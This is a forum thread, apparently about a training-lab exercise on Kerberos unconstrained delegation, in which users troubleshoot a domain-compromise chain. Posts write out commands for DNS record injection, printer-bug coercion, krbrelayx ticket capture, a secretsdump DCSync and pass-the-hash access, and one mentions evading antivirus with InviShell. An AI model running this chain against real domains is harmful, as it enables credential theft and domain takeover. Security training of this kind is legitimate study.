hi all. I beg you, help me, encourage me to the correct answer. I am running the “KERBEROS ATTACKS” module. I ran into difficulties in the “Unconstrained Delegation - Users” section. I need help solving a task, maybe I’m doing something wrong or I misunderstood the task and am applying the data from the task
callum.dixon:C@lluMDIXON has an unrestricted delegation set, and carole.rose:jasmine has a universal write on top of callum.dixon. Using this information, try to compromise the domain and read the contents of C:\flag.txt on DC01.
so let’s go in order what I do
fake dns
I add to /etc/hosts roguecomputer.inlanefreight.local
python dnstool.py -u INLANEFREIGHT.LOCAL\\carole.rose -p jasmine -r roguecomputer.INLANEFREIGHT.LOCAL -d 10.99.99.99 --action add 10.129.205.35
Run printerbug.py as carole.rose to get the ticket
python printerbug.py inlanefreight.local/carole.rose:jasmine@10.129.205.35 roguecomputer.inlanefreight.local
and I catch the carole.rose ticket in the session where krbrelayx.py is running
I’m trying to reset hashes using secretdump.py to get the admin hash and I get an error
secretsdump.py -k -no-pass dc01.inlanefreight.local
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Cleaning up...
Okay, we understand that it may not be possible to perform DCSync. So I thought about stealing the flag using SMB, but it didn’t work, I just got an error using the Kerberos ticket “[-] [Errno Connection error (INLANEFREIGHT.LOCAL:88)] [Errno 111] Connection refused”. But if you connected with credentials, then naturally you got access, but not to the C drive :')
Please help me with the task.
hi @tigerboy, if you connect without a ticket, you can connect using credentials using the following command:
smbclient.py carole.rose@dc01.inlanefreight.local
But this will not give you anything, because we need to get the admin hash and we need to carry out an attack like in the section to reset the hashes.
if we add options (-k -no-pass) to the command above then we will get an error “[-] [Errno Connection error (INLANEFREIGHT.LOCAL:88)] [Errno 111] Connection refused”
@tigerboy Hello. I decided and pulled the flag. I had to combine the attack of this part and the previous task. I still don’t understand what the problem is with the Kerberos error in this module. In general, my solution is just take the admin hash from the previous task and try to connect using some kind of
impacket module. Good luck!
Same problems as you when trying to perform a DC Sync.
Used NT Hash from previous task in the end.
Anyone was able to complete this task following the instructions?
was anyone able to get the flag? i have the same problem? what is the alternative? i have tried 2 different impakcet tools ,but still not able to access dc01
smbclient.py should work. Of course it’s not the intended way. I have tried to open an issue with Support about this task, asking them to investigate why DC Sync does not work
I tried using smbclient.py ,but ti didnt work. i use for administrator account from the last activity and for the dc01$ ,but none work. for carolone it gives no results back. May i ask you the syntax you used?
thank you
hey man, would you be able guide me with this? seems there is a tech issue and I am not sure what the dc ip is … is it the same ip mentioned in the example?
When you issue the secretsdump command make sure you specify the -target-ip and the -dc-ip and the target domainname/user and it should work
If you try to issue the secrets dump command with just the domain name after adding it to the hosts file it will not work or atleast it didnt work for me unless i specified the -target-ip and the -dc-ip and in the excercise they are the same but you still have to specify both
Hello, I am trying to use Rubeus (not in HTB academy lab) , however I believe it is being detected by AV / EDR. When I double click on Rubeus it opens cmd and instantly closes. Using Rubeus from command line does not work as well.
I disabled Defender Real-Time protection & firewall on my student VM and used InviShell to bypass script block logging, but the problem remains. Does anybody know how to use Rubeus in this case?
Thanks
This one was pretty frustrating. I had to convert callum.dixon’s password into a ntlm hash, then run sudo python krbrelayx.py -hashes : with the hash, after that I finally recieved the TGT and then exported the ticket, I then was able to DCSync with secretsdump.py -k -no-pass dc01.inlanefreight.local and get the Administrator’s hash, from there I could use evil-winrm with the hash.
